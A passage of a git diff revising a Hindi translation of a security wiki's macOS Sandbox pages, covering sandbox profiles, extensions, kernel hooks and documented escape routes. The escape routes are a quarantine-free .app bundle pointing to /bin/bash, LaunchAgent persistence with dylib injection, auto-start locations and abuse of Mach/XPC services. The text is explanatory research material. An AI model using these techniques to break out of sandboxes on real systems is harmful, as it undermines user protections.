पाठ प्रतिनिधित्व नहीं है। मेमोरी में, इस सैंडबॉक्स को सैंडबॉक्स से प्रत्येक अनुमतियों के लिए Allow/Deny बाइनरी ट्री के रूप में दर्शाया गया है। ### ऐप स्टोर ऐप्स में कस्टम SBPL -कंपनियों के लिए अपने ऐप्स को **कस्टम सैंडबॉक्स प्रोफाइल** के साथ चलाना संभव हो सकता है (डिफ़ॉल्ट के बजाय)। उन्हें अधिकार **`com.apple.security.temporary-exception.sbpl`** का उपयोग करना होगा जिसे Apple द्वारा अधिकृत किया जाना चाहिए। +कंपनियों के लिए **कस्टम सैंडबॉक्स प्रोफाइल** के साथ अपने ऐप्स चलाना संभव हो सकता है (डिफ़ॉल्ट वाले के बजाय)। उन्हें **`com.apple.security.temporary-exception.sbpl`** अधिकार का उपयोग करने की आवश्यकता है जिसे Apple द्वारा अधिकृत किया जाना चाहिए। इस अधिकार की परिभाषा की जांच करना संभव है **`/System/Library/Sandbox/Profiles/application.sb:`** ```scheme @@ -253,21 +253,22 @@ iOS में, डिफ़ॉल्ट प्रोफाइल को **contai (let* ((port (open-input-string string)) (sbpl (read port))) (with-transparent-redirection (eval sbpl))))) ``` -यह **इस अधिकार के बाद के स्ट्रिंग को** एक Sandbox प्रोफ़ाइल के रूप में **eval** करेगा। +यह **इस अधिकार के बाद स्ट्रिंग का मूल्यांकन करेगा** एक Sandbox प्रोफ़ाइल के रूप में। ### Sandbox प्रोफ़ाइल को संकलित और डीकंपाइल करना -**`sandbox-exec`** टूल `libsandbox.dylib` से `sandbox_compile_*` फ़ंक्शंस का उपयोग करता है। मुख्य निर्यातित फ़ंक्शंस हैं: `sandbox_compile_file` (एक फ़ाइल पथ की अपेक्षा करता है, पैरामीटर `-f`), `sandbox_compile_string` (एक स्ट्रिंग की अपेक्षा करता है, पैरामीटर `-p`), `sandbox_compile_name` (एक कंटेनर का नाम अपेक्षित है, पैरामीटर `-n`), `sandbox_compile_entitlements` (अधिकार plist की अपेक्षा करता है)। +**`sandbox-exec`** उपकरण `libsandbox.dylib` से `sandbox_compile_*` कार्यों का उपयोग करता है। मुख्य निर्यातित कार्य हैं: `sandbox_compile_file` (एक फ़ाइल पथ की अपेक्षा करता है, पैरामीटर `-f`), `sandbox_compile_string` (एक स्ट्रिंग की अपेक्षा करता है, पैरामीटर `-p`), `sandbox_compile_name` (एक कंटेनर का नाम अपेक्षित है, पैरामीटर `-n`), `sandbox_compile_entitlements` (अधिकार plist की अपेक्षा करता है)। -इस उलटे और [**ओपन सोर्स संस्करण टूल sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) को **`sandbox-exec`** को संकलित Sandbox प्रोफ़ाइल को फ़ाइल में लिखने की अनुमति देता है। +इस उलटे और [**ओपन सोर्स संस्करण के उपकरण sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) की अनुमति देता है **`sandbox-exec`** को संकलित Sandbox प्रोफ़ाइल को एक फ़ाइल में लिखने के लिए। इसके अलावा, एक प्रक्रिया को एक कंटेनर के अंदर सीमित करने के लिए यह `sandbox_spawnattrs_set[container/profilename]` को कॉल कर सकता है और एक कंटेनर या पूर्व-निर्मित प्रोफ़ाइल पास कर सकता है। -## Sandbox को डिबग और बायपास करना +## Sandbox को डिबग और बायपास करें -macOS पर, iOS के विपरीत जहां प्रक्रियाएँ शुरू से ही कर्नेल द्वारा Sandbox की गई होती हैं, **प्रक्रियाओं को स्वयं Sandbox में शामिल होना चाहिए**। इसका मतलब है कि macOS पर, एक प्रक्रिया Sandbox द्वारा प्रतिबंधित नहीं होती है जब तक कि वह सक्रिय रूप से इसमें प्रवेश करने का निर्णय नहीं लेती, हालांकि App Store ऐप्स हमेशा Sandbox में होते हैं। +macOS पर, iOS के विपरीत जहां प्रक्रियाएँ शुरू से ही कर्नेल द्वारा सैंडबॉक्स की जाती हैं, **प्रक्रियाओं को स्वयं सैंडबॉक्स में शामिल होना चाहिए**। इसका मतलब है कि macOS पर, एक प्रक्रिया सैंडबॉक्स द्वारा प्रतिबंधित नहीं होती जब तक कि यह सक्रिय रूप से इसमें प्रवेश करने का निर्णय नहीं लेती, हालांकि ऐप स्टोर ऐप हमेशा सैंडबॉक्स होते हैं। + +यदि प्रक्रियाओं के पास अधिकार है: `com.apple.security.app-sandbox`, तो वे उपयोगकर्ता भूमि से स्वचालित रूप से सैंडबॉक्स की जाती हैं जब वे शुरू होती हैं। इस प्रक्रिया के विस्तृत विवरण के लिए देखें: -यदि प्रक्रियाओं के पास अधिकार है: `com.apple.security.app-sandbox`, तो वे उपयोगकर्ता भूमि से स्वचालित रूप से Sandbox में होती हैं जब वे शुरू होती हैं। इस प्रक्रिया के विस्तृत विवरण के लिए देखें: {{#ref}} macos-sandbox-debug-and-bypass/ @@ -275,7 +276,7 @@ macos-sandbox-debug-and-bypass/ ## **Sandbox एक्सटेंशन** -एक्सटेंशन किसी ऑब्जेक्ट को और अधिक विशेषाधिकार देने की अनुमति देते हैं और इनमें से किसी एक फ़ंक्शन को कॉल करते हैं: +एक्सटेंशन एक ऑब्जेक्ट को आगे के विशेषाधिकार देने की अनुमति देते हैं और इनमें से एक कार्य को कॉल करते हैं: - `sandbox_issue_extension` - `sandbox_extension_issue_file[_with_new_type]` @@ -287,16 +288,16 @@ macos-sandbox-debug-and-bypass/ एक्सटेंशन दूसरे MACF लेबल स्लॉट में संग्रहीत होते हैं जो प्रक्रिया क्रेडेंशियल्स से सुलभ होते हैं। निम्नलिखित **`sbtool`** इस जानकारी तक पहुँच सकता है। -ध्यान दें कि एक्सटेंशन आमतौर पर अनुमत प्रक्रियाओं द्वारा दिए जाते हैं, उदाहरण के लिए, `tccd` उस प्रक्रिया को `com.apple.tcc.kTCCServicePhotos` का एक्सटेंशन टोकन देगा जब एक प्रक्रिया फ़ोटो तक पहुँचने की कोशिश करती है और उसे XPC संदेश में अनुमति दी जाती है। फिर, प्रक्रिया को एक्सटेंशन टोकन का उपभोग करने की आवश्यकता होगी ताकि इसे जोड़ा जा सके।\ -ध्यान दें कि एक्सटेंशन टोकन लंबे हेक्साडेसिमल होते हैं जो दिए गए अनुमतियों को एन्कोड करते हैं। हालाँकि, इनमें अनुमत PID हार्डकोडेड नहीं होता है, जिसका अर्थ है कि किसी भी प्रक्रिया के पास टोकन तक पहुँच होने पर इसे **कई प्रक्रियाओं द्वारा उपभोग किया जा सकता है**। +ध्यान दें कि एक्सटेंशन आमतौर पर अनुमत प्रक्रियाओं द्वारा दिए जाते हैं, उदाहरण के लिए, `tccd` उस एक्सटेंशन टोकन को `com.apple.tcc.kTCCServicePhotos` देगा जब एक प्रक्रिया ने फ़ोटो तक पहुँचने की कोशिश की और एक XPC संदेश में अनुमति दी गई। फिर, प्रक्रिया को एक्सटेंशन टोकन का उपभोग करने की आवश्यकता होगी ताकि इसे जोड़ा जा सके।\ +ध्यान दें कि एक्सटेंशन टोकन लंबे हेक्साडेसिमल होते हैं जो दिए गए अनुमतियों को एन्कोड करते हैं। हालाँकि, इनमें अनुमत PID हार्डकोडेड नहीं होते हैं जिसका अर्थ है कि किसी भी प्रक्रिया के पास टोकन तक पहुँच होने पर इसे **कई प्रक्रियाओं द्वारा उपभोग किया जा सकता है**। ध्यान दें कि एक्सटेंशन अधिकारों से भी बहुत संबंधित होते हैं, इसलिए कुछ अधिकार होने से स्वचालित रूप से कुछ एक्सटेंशन मिल सकते हैं। ### **PID विशेषाधिकार की जाँच करें** -[**इसके अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** फ़ंक्शंस (यह एक `__mac_syscall` है), यह जाँच कर सकते हैं **कि क्या एक ऑपरेशन को एक निश्चित PID, ऑडिट टोकन या अद्वितीय ID द्वारा Sandbox में अनुमति दी गई है या नहीं**। +[**इसके अनुसार**](https://www.youtube.com/watch?v=mG715HcDgO8&t=3011s), **`sandbox_check`** कार्य (यह एक `__mac_syscall` है), यह जाँच कर सकते हैं **यदि एक ऑपरेशन की अनुमति है या नहीं** सैंडबॉक्स द्वारा एक निश्चित PID, ऑडिट टोकन या अद्वितीय ID में। -[**टूल sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (इसे [यहाँ संकलित किया गया है](https://newosxbook.com/articles/hitsb.html)) यह जाँच कर सकता है कि क्या एक PID कुछ निश्चित क्रियाएँ कर सकता है: +[**उपकरण sbtool**](http://newosxbook.com/src.jl?tree=listings&file=sbtool.c) (इसे [यहाँ संकलित किया गया है](https://newosxbook.com/articles/hitsb.html)) यह जाँच कर सकता है कि क्या एक PID कुछ कार्य कर सकता है: ```bash sbtool mach #Check mac-ports (got from launchd with an api) sbtool file /tmp #Check file access @@ -317,13 +318,13 @@ sbtool all यह सिस्टम कॉल (#381) पहले तर्क के रूप में एक स्ट्रिंग की अपेक्षा करता है जो चलाने के लिए मॉड्यूल को इंगित करेगा, और फिर दूसरे तर्क में एक कोड जो चलाने के लिए फ़ंक्शन को इंगित करेगा। फिर तीसरा तर्क उस फ़ंक्शन पर निर्भर करेगा जो निष्पादित किया गया है। -फ़ंक्शन `___sandbox_ms` कॉल `mac_syscall` को लपेटता है जो पहले तर्क में `"Sandbox"` को इंगित करता है ठीक वैसे ही जैसे `___sandbox_msp` `mac_set_proc` (#387) का एक लपेटन है। फिर, `___sandbox_ms` द्वारा समर्थित कुछ कोड इस तालिका में पाए जा सकते हैं: +फ़ंक्शन `___sandbox_ms` कॉल `mac_syscall` को लपेटता है पहले तर्क में `"Sandbox"` को इंगित करते हुए ठीक उसी तरह जैसे `___sandbox_msp` `mac_set_proc` (#387) का एक लपेटन है। फिर, `___sandbox_ms` द्वारा समर्थित कुछ कोड इस तालिका में पाए जा सकते हैं: - **set_profile (#0)**: एक प्रक्रिया पर एक संकलित या नामित प्रोफ़ाइल लागू करें। - **platform_policy (#1)**: प्लेटफ़ॉर्म-विशिष्ट नीति जांच लागू करें (macOS और iOS के बीच भिन्नता होती है)। - **check_sandbox (#2)**: एक विशिष्ट सैंडबॉक्स ऑपरेशन की मैनुअल जांच करें। -- **note (#3)**: एक सैंडबॉक्स में एक नोटेशन जोड़ें। -- **container (#4)**: एक सैंडबॉक्स में एक एनोटेशन संलग्न करें, आमतौर पर डिबगिंग या पहचान के लिए। +- **note (#3)**: एक सैंडबॉक्स में एक नोटेशन जोड़ता है। +- **container (#4)**: एक सैंडबॉक्स में एक नोटेशन संलग्न करें, आमतौर पर डिबगिंग या पहचान के लिए। - **extension_issue (#5)**: एक प्रक्रिया के लिए एक नया एक्सटेंशन उत्पन्न करें। - **extension_consume (#6)**: एक दिए गए एक्सटेंशन का उपभोग करें। - **extension_release (#7)**: एक उपभोग किए गए एक्सटेंशन से संबंधित मेमोरी को मुक्त करें। @@ -337,8 +338,8 @@ sbtool all - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) सैंडबॉक्स में उपयोगकर्ता मोड मेटाडेटा सेट करें। - **inspect (#16)**: एक सैंडबॉक्स की गई प्रक्रिया के बारे में डिबग जानकारी प्रदान करें। - **dump (#18)**: (macOS 11) विश्लेषण के लिए एक सैंडबॉक्स की वर्तमान प्रोफ़ाइल को डंप करें। -- **vtrace (#19)**: निगरानी या डिबगिंग के लिए सैंडबॉक्स संचालन का ट्रेस करें। -- **builtin_profile_deactivate (#20)**: (macOS < 11) नामित प्रोफ़ाइलों को निष्क्रिय करें (जैसे, `pe_i_can_has_debugger`)। +- **vtrace (#19)**: निगरानी या डिबगिंग के लिए सैंडबॉक्स संचालन को ट्रेस करें। +- **builtin_profile_deactivate (#20)**: (macOS < 11) नामित प्रोफाइल को निष्क्रिय करें (जैसे, `pe_i_can_has_debugger`)। - **check_bulk (#21)**: एक ही कॉल में कई `sandbox_check` संचालन करें। - **reference_retain_by_audit_token (#28)**: सैंडबॉक्स जांचों में उपयोग के लिए एक ऑडिट टोकन के लिए एक संदर्भ बनाएं। - **reference_release (#29)**: पहले से रखे गए ऑडिट टोकन संदर्भ को मुक्त करें। @@ -350,23 +351,23 @@ sbtool all ## Sandbox.kext -ध्यान दें कि iOS में कर्नेल एक्सटेंशन में **सभी प्रोफाइल हार्डकोडेड** होते हैं जो `__TEXT.__const` खंड के भीतर होते हैं ताकि उन्हें संशोधित नहीं किया जा सके। कर्नेल एक्सटेंशन से कुछ दिलचस्प फ़ंक्शंस निम्नलिखित हैं: +ध्यान दें कि iOS में कर्नेल एक्सटेंशन में **सभी प्रोफाइल हार्डकोडेड** होते हैं `__TEXT.__const` खंड के भीतर ताकि उन्हें संशोधित न किया जा सके। कर्नेल एक्सटेंशन से कुछ दिलचस्प फ़ंक्शंस निम्नलिखित हैं: - **`hook_policy_init`**: यह `mpo_policy_init` को हुक करता है और इसे `mac_policy_register` के बाद कॉल किया जाता है। यह सैंडबॉक्स के अधिकांश प्रारंभिककरण करता है। यह SIP को भी प्रारंभ करता है। -- **`hook_policy_initbsd`**: यह `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` और `security.mac.sandbox.debug_mode` को पंजीकृत करते हुए sysctl इंटरफ़ेस सेट करता है (यदि `PE_i_can_has_debugger` के साथ बूट किया गया हो)। -- **`hook_policy_syscall`**: इसे `mac_syscall` द्वारा "Sandbox" के पहले तर्क के रूप में और दूसरे में ऑपरेशन को इंगित करने वाले कोड के साथ कॉल किया जाता है। एक स्विच का उपयोग अनुरोधित कोड के अनुसार चलाने के लिए कोड खोजने के लिए किया जाता है। +- **`hook_policy_initbsd`**: यह sysctl इंटरफ़ेस को सेट करता है जो `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` और `security.mac.sandbox.debug_mode` को पंजीकृत करता है (यदि `PE_i_can_has_debugger` के साथ बूट किया गया हो)। +- **`hook_policy_syscall`**: इसे `mac_syscall` द्वारा "Sandbox" के पहले तर्क के रूप में और दूसरे में ऑपरेशन को इंगित करने वाले कोड के साथ कॉल किया जाता है। एक स्विच का उपयोग किया जाता है ताकि अनुरोधित कोड के अनुसार चलाने के लिए कोड खोजा जा सके। ### MACF Hooks -**`Sandbox.kext`** MACF के माध्यम से एक सौ से अधिक हुक का उपयोग करता है। अधिकांश हुक कुछ तुच्छ मामलों की जांच करेंगे जो कार्रवाई करने की अनुमति देते हैं, यदि नहीं, तो वे **`cred_sb_evalutate`** को MACF से **क्रेडेंशियल्स** और एक संख्या के साथ कॉल करेंगे जो **ऑपरेशन** को करने के लिए है और एक **बफर** आउटपुट के लिए है। +**`Sandbox.kext`** MACF के माध्यम से एक सौ से अधिक हुक का उपयोग करता है। अधिकांश हुक कुछ तुच्छ मामलों की जांच करेंगे जो कार्रवाई करने की अनुमति देते हैं, यदि नहीं, तो वे **`cred_sb_evalutate`** को **क्रेडेंशियल्स** के साथ कॉल करेंगे MACF से और एक संख्या जो **ऑपरेशन** को करने के लिए है और एक **बफर** आउटपुट के लिए। इसका एक अच्छा उदाहरण फ़ंक्शन **`_mpo_file_check_mmap`** है जो **`mmap`** को हुक करता है और यह जांचना शुरू करेगा कि क्या नई मेमोरी लिखने योग्य होने जा रही है (और यदि नहीं तो निष्पादन की अनुमति नहीं देगा), फिर यह जांचेगा कि क्या इसका उपयोग dyld साझा कैश के लिए किया जा रहा है और यदि हां तो निष्पादन की अनुमति देगा, और अंततः यह **`sb_evaluate_internal`** (या इसके लपेटनों में से एक) को आगे की अनुमति जांच करने के लिए कॉल करेगा। -इसके अलावा, सैंडबॉक्स द्वारा उपयोग किए जाने वाले सौ(ओं) हुक में से, 3 विशेष रूप से बहुत दिलचस्प हैं: +इसके अलावा, सैंडबॉक्स द्वारा उपयोग किए जाने वाले सौ(ों) हुक में से, 3 विशेष रूप से बहुत दिलचस्प हैं: - `mpo_proc_check_for`: यदि आवश्यक हो तो प्रोफ़ाइल लागू करता है और यदि इसे पहले लागू नहीं किया गया था। - `mpo_vnode_check_exec`: जब एक प्रक्रिया संबंधित बाइनरी को लोड करती है, तो एक प्रोफ़ाइल जांच की जाती है और SUID/SGID निष्पादनों को प्रतिबंधित करने की भी जांच की जाती है। -- `mpo_cred_label_update_execve`: यह तब कॉल किया जाता है जब लेबल असाइन किया जाता है। यह सबसे लंबा होता है क्योंकि इसे तब कॉल किया जाता है जब बाइनरी पूरी तरह से लोड हो जाती है लेकिन अभी तक निष्पादित नहीं हुई है। यह सैंडबॉक्स ऑब्जेक्ट बनाने, kauth क्रेडेंशियल्स के लिए सैंडबॉक्स संरचना संलग्न करने, mach पोर्ट्स तक पहुंच को हटाने जैसी क्रियाएँ करेगा... +- `mpo_cred_label_update_execve`: यह तब कॉल किया जाता है जब लेबल असाइन किया जाता है। यह सबसे लंबा है क्योंकि इसे तब कॉल किया जाता है जब बाइनरी पूरी तरह से लोड हो जाती है लेकिन अभी तक निष्पादित नहीं हुई है। यह सैंडबॉक्स ऑब्जेक्ट बनाने, kauth क्रेडेंशियल्स से सैंडबॉक्स संरचना संलग्न करने, mach पोर्ट्स तक पहुंच को हटाने जैसी क्रियाएँ करेगा... ध्यान दें कि **`_cred_sb_evalutate`** **`sb_evaluate_internal`** का एक लपेटन है और यह फ़ंक्शन पास किए गए क्रेडेंशियल्स को प्राप्त करता है और फिर **`eval`** फ़ंक्शन का उपयोग करके मूल्यांकन करता है जो आमतौर पर **प्लेटफ़ॉर्म प्रोफ़ाइल** का मूल्यांकन करता है जो डिफ़ॉल्ट रूप से सभी प्रक्रियाओं पर लागू होता है और फिर **विशिष्ट प्रक्रिया प्रोफ़ाइल**। ध्यान दें कि प्लेटफ़ॉर्म प्रोफ़ाइल macOS में **SIP** के मुख्य घटकों में से एक है। diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index 0d5e758de..cc6247ff5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -10,7 +10,7 @@ कंपाइलर `/usr/lib/libSystem.B.dylib` को बाइनरी से लिंक करेगा। -फिर, **`libSystem.B`** अन्य कई फ़ंक्शनों को कॉल करेगा जब तक कि **`xpc_pipe_routine`** ऐप के अधिकारों को **`securityd`** को नहीं भेजता। Securityd यह जांचता है कि क्या प्रक्रिया को सैंडबॉक्स के अंदर क्वारंटाइन किया जाना चाहिए, और यदि हां, तो इसे क्वारंटाइन किया जाएगा।\ +फिर, **`libSystem.B`** अन्य कई फ़ंक्शनों को कॉल करेगा जब तक कि **`xpc_pipe_routine`** ऐप के अधिकारों को **`securityd`** को नहीं भेजता। Securityd यह जांचता है कि क्या प्रक्रिया को सैंडबॉक्स के अंदर क्वारंटाइन किया जाना चाहिए, और यदि हां, तो इसे क्वारंटाइन कर दिया जाएगा।\ अंत में, सैंडबॉक्स को **`__sandbox_ms`** को कॉल करके सक्रिय किया जाएगा, जो **`__mac_syscall`** को कॉल करेगा। ## Possible Bypasses @@ -19,16 +19,16 @@ **सैंडबॉक्स किए गए प्रक्रियाओं द्वारा बनाए गए फ़ाइलों** में **क्वारंटाइन विशेषता** जोड़ी जाती है ताकि सैंडबॉक्स से बचा जा सके। हालाँकि, यदि आप **क्वारंटाइन विशेषता के बिना एक `.app` फ़ोल्डर बनाने में सफल होते हैं** सैंडबॉक्स किए गए एप्लिकेशन के भीतर, तो आप ऐप बंडल बाइनरी को **`/bin/bash`** की ओर इंगित कर सकते हैं और **plist** में कुछ env वेरिएबल जोड़ सकते हैं ताकि **`open`** का दुरुपयोग करके **नए ऐप को बिना सैंडबॉक्स के लॉन्च किया जा सके**। -यह वही किया गया था [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** +यह वही है जो [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)** में किया गया था।** > [!CAUTION] -> इसलिए, इस समय, यदि आप केवल **`.app`** के नाम के साथ एक फ़ोल्डर बनाने में सक्षम हैं जिसमें क्वारंटाइन विशेषता नहीं है, तो आप सैंडबॉक्स से बच सकते हैं क्योंकि macOS केवल **`.app` फ़ोल्डर** और **मुख्य निष्पादन योग्य** में **क्वारंटाइन** विशेषता की **जांच करता है** (और हम मुख्य निष्पादन योग्य को **`/bin/bash`** की ओर इंगित करेंगे)। +> इसलिए, इस समय, यदि आप केवल **`.app`** के नाम के साथ एक फ़ोल्डर बनाने में सक्षम हैं जिसमें क्वारंटाइन विशेषता नहीं है, तो आप सैंडबॉक्स से बच सकते हैं क्योंकि macOS केवल **`.app` फ़ोल्डर** और **मुख्य निष्पादन योग्य** में **क्वारंटाइन** विशेषता की **जांच** करता है (और हम मुख्य निष्पादन योग्य को **`/bin/bash`** की ओर इंगित करेंगे)। > -> ध्यान दें कि यदि एक .app बंडल को पहले से चलाने के लिए अधिकृत किया गया है (इसमें चलाने के लिए अधिकृत झंडा के साथ क्वारंटाइन एक्सट्र है), तो आप इसका भी दुरुपयोग कर सकते हैं... सिवाय इसके कि अब आप **`.app`** बंडलों के अंदर लिख नहीं सकते जब तक कि आपके पास कुछ विशेषाधिकार प्राप्त TCC अनुमतियाँ न हों (जो आपको उच्च सैंडबॉक्स के अंदर नहीं मिलेंगी)। +> ध्यान दें कि यदि एक .app बंडल को पहले से चलाने के लिए अधिकृत किया गया है (इसमें चलाने के लिए अधिकृत ध्वज के साथ एक क्वारंटाइन एक्सट्र है), तो आप इसका भी दुरुपयोग कर सकते हैं... सिवाय इसके कि अब आप **`.app`** बंडलों के अंदर लिख नहीं सकते जब तक कि आपके पास कुछ विशेषाधिकार प्राप्त TCC अनुमतियाँ न हों (जो आपको उच्च सैंडबॉक्स के अंदर नहीं मिलेंगी)। ### Abusing Open functionality -[**शब्द सैंडबॉक्स बायपास के अंतिम उदाहरणों**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) में देखा जा सकता है कि **`open`** CLI कार्यक्षमता का दुरुपयोग कैसे किया जा सकता है सैंडबॉक्स को बायपास करने के लिए। +[**शब्द सैंडबॉक्स बायपास के अंतिम उदाहरणों**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) में देखा जा सकता है कि **`open`** CLI कार्यक्षमता का दुरुपयोग कैसे किया जा सकता है ताकि सैंडबॉक्स को बायपास किया जा सके। {{#ref}} macos-office-sandbox-bypasses.md @@ -37,15 +37,15 @@ macos-office-sandbox-bypasses.md ### Launch Agents/Daemons यहां तक कि यदि एक एप्लिकेशन **सैंडबॉक्स किया जाना है** (`com.apple.security.app-sandbox`), तो इसे सैंडबॉक्स को बायपास करने के लिए **एक LaunchAgent से निष्पादित किया जा सकता है** (`~/Library/LaunchAgents`) उदाहरण के लिए।\ -जैसा कि [**इस पोस्ट में**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) समझाया गया है, यदि आप एक सैंडबॉक्स किए गए एप्लिकेशन के साथ स्थिरता प्राप्त करना चाहते हैं, तो आप इसे स्वचालित रूप से एक LaunchAgent के रूप में निष्पादित कर सकते हैं और शायद DyLib पर्यावरण चर के माध्यम से दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं। +जैसा कि [**इस पोस्ट**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818) में समझाया गया है, यदि आप एक सैंडबॉक्स किए गए एप्लिकेशन के साथ स्थिरता प्राप्त करना चाहते हैं, तो आप इसे एक LaunchAgent के रूप में स्वचालित रूप से निष्पादित कर सकते हैं और शायद DyLib पर्यावरण चर के माध्यम से दुर्भावनापूर्ण कोड इंजेक्ट कर सकते हैं। ### Abusing Auto Start Locations -यदि एक सैंडबॉक्स प्रक्रिया **लिख सकती है** एक स्थान पर जहां **बाद में एक बिना सैंडबॉक्स एप्लिकेशन बाइनरी चलाने जा रहा है**, तो यह **सिर्फ वहां बाइनरी रखकर** बचने में सक्षम होगी। इस प्रकार के स्थानों का एक अच्छा उदाहरण `~/Library/LaunchAgents` या `/System/Library/LaunchDaemons` हैं। +यदि एक सैंडबॉक्स प्रक्रिया **एक स्थान पर लिख सकती है जहां** **बाद में एक बिना सैंडबॉक्स एप्लिकेशन बाइनरी चलाने जा रहा है**, तो यह **सिर्फ वहां बाइनरी रखकर** बचने में सक्षम होगी। इस प्रकार के स्थानों का एक अच्छा उदाहरण `~/Library/LaunchAgents` या `/System/Library/LaunchDaemons` हैं। -इसके लिए आपको **2 चरणों** की आवश्यकता हो सकती है: एक प्रक्रिया बनाने के लिए जिसमें **अधिक अनुमति वाला सैंडबॉक्स** (`file-read*`, `file-write*`) हो जो आपके कोड को निष्पादित करेगा जो वास्तव में एक स्थान पर लिखेगा जहां इसे **बिना सैंडबॉक्स के निष्पादित किया जाएगा**। +इसके लिए आपको **2 चरणों** की आवश्यकता हो सकती है: एक प्रक्रिया को **अधिक अनुमति वाले सैंडबॉक्स** (`file-read*`, `file-write*`) के साथ निष्पादित करना जो आपके कोड को उस स्थान पर लिखेगा जहां इसे **बिना सैंडबॉक्स के निष्पादित किया जाएगा**। -इस पृष्ठ को **ऑटो स्टार्ट स्थानों** के बारे में देखें: +**ऑटो स्टार्ट स्थानों** के बारे में इस पृष्ठ की जांच करें: {{#ref}} ../../../../macos-auto-start-locations.md @@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md ### Abusing other processes -यदि आप तब सैंडबॉक्स प्रक्रिया से **अन्य प्रक्रियाओं से समझौता करने में सक्षम हैं** जो कम प्रतिबंधात्मक सैंडबॉक्स (या कोई नहीं) में चल रही हैं, तो आप उनके सैंडबॉक्स में भागने में सक्षम होंगे: +यदि आप उस सैंडबॉक्स प्रक्रिया से **अन्य प्रक्रियाओं को समझौता करने में सक्षम हैं** जो कम प्रतिबंधात्मक सैंडबॉक्स (या कोई नहीं) में चल रही हैं, तो आप उनके सैंडबॉक्स में भागने में सक्षम होंगे: {{#ref}} ../../../macos-proces-abuse/ @@ -61,9 +61,9 @@ macos-office-sandbox-bypasses.md ### Available System and User Mach services -सैंडबॉक्स कुछ निश्चित **Mach सेवाओं** के साथ XPC के माध्यम से संवाद करने की अनुमति भी देता है जो प्रोफ़ाइल `application.sb` में परिभाषित हैं। यदि आप इनमें से किसी एक सेवा का **दुरुपयोग** करने में सक्षम हैं, तो आप **सैंडबॉक्स से बचने** में सक्षम हो सकते हैं। +सैंडबॉक्स कुछ निश्चित **Mach सेवाओं** के साथ XPC के माध्यम से संवाद करने की अनुमति भी देता है जो प्रोफ़ाइल `application.sb` में परिभाषित हैं। यदि आप इनमें से किसी सेवा का **दुरुपयोग** करने में सक्षम हैं, तो आप **सैंडबॉक्स से बाहर निकलने** में सक्षम हो सकते हैं। -जैसा कि [इस लेख में](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) संकेतित किया गया है, Mach सेवाओं के बारे में जानकारी `/System/Library/xpc/launchd.plist` में संग्रहीत होती है। आप उस फ़ाइल के अंदर `System` और `User` की खोज करके सभी सिस्टम और उपयोगकर्ता Mach सेवाओं को पा सकते हैं। +जैसा कि [इस लेख](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/) में संकेत दिया गया है, Mach सेवाओं के बारे में जानकारी `/System/Library/xpc/launchd.plist` में संग्रहीत होती है। आप उस फ़ाइल के अंदर `System` और `User` की खोज करके सभी सिस्टम और उपयोगकर्ता Mach सेवाओं को पा सकते हैं। इसके अलावा, यह जांचना संभव है कि क्या एक Mach सेवा एक सैंडबॉक्स किए गए एप्लिकेशन के लिए उपलब्ध है `bootstrap_look_up` को कॉल करके: ```objectivec @@ -90,13 +90,13 @@ checkService(serviceName.UTF8String); ``` ### उपलब्ध PID Mach सेवाएँ -इन Mach सेवाओं का पहले [इस लेख में सैंडबॉक्स से बाहर निकलने के लिए दुरुपयोग किया गया था](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)। उस समय, **एक एप्लिकेशन और इसके फ्रेमवर्क द्वारा आवश्यक सभी XPC सेवाएँ** ऐप के PID डोमेन में दिखाई दे रही थीं (ये Mach सेवाएँ हैं जिनका `ServiceType` `Application` है)। +इन Mach सेवाओं का पहले [इस लेख में सैंडबॉक्स से बाहर निकलने के लिए दुरुपयोग किया गया था](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)। उस समय, **एक एप्लिकेशन और इसके ढांचे द्वारा आवश्यक सभी XPC सेवाएँ** ऐप के PID डोमेन में दिखाई दे रही थीं (ये Mach सेवाएँ हैं जिनका `ServiceType` `Application` है)। **एक PID डोमेन XPC सेवा से संपर्क करने के लिए**, इसे ऐप के अंदर एक पंक्ति के साथ पंजीकृत करना आवश्यक है: ```objectivec [[NSBundle bundleWithPath:@“/System/Library/PrivateFrameworks/ShoveService.framework"]load]; ``` -इसके अलावा, सभी **Application** Mach सेवाओं को `System/Library/xpc/launchd.plist` के अंदर `Application` के लिए खोजकर पाया जा सकता है। +इसके अलावा, सभी **Application** Mach सेवाओं को खोजने के लिए `System/Library/xpc/launchd.plist` के अंदर `Application` के लिए खोज करना संभव है। वैध xpc सेवाओं को खोजने का एक और तरीका है: ```bash @@ -109,7 +109,7 @@ find /System/Library/PrivateFrameworks -name "*.xpc" यह सेवा हर XPC कनेक्शन की अनुमति देती है क्योंकि यह हमेशा `YES` लौटाती है और विधि 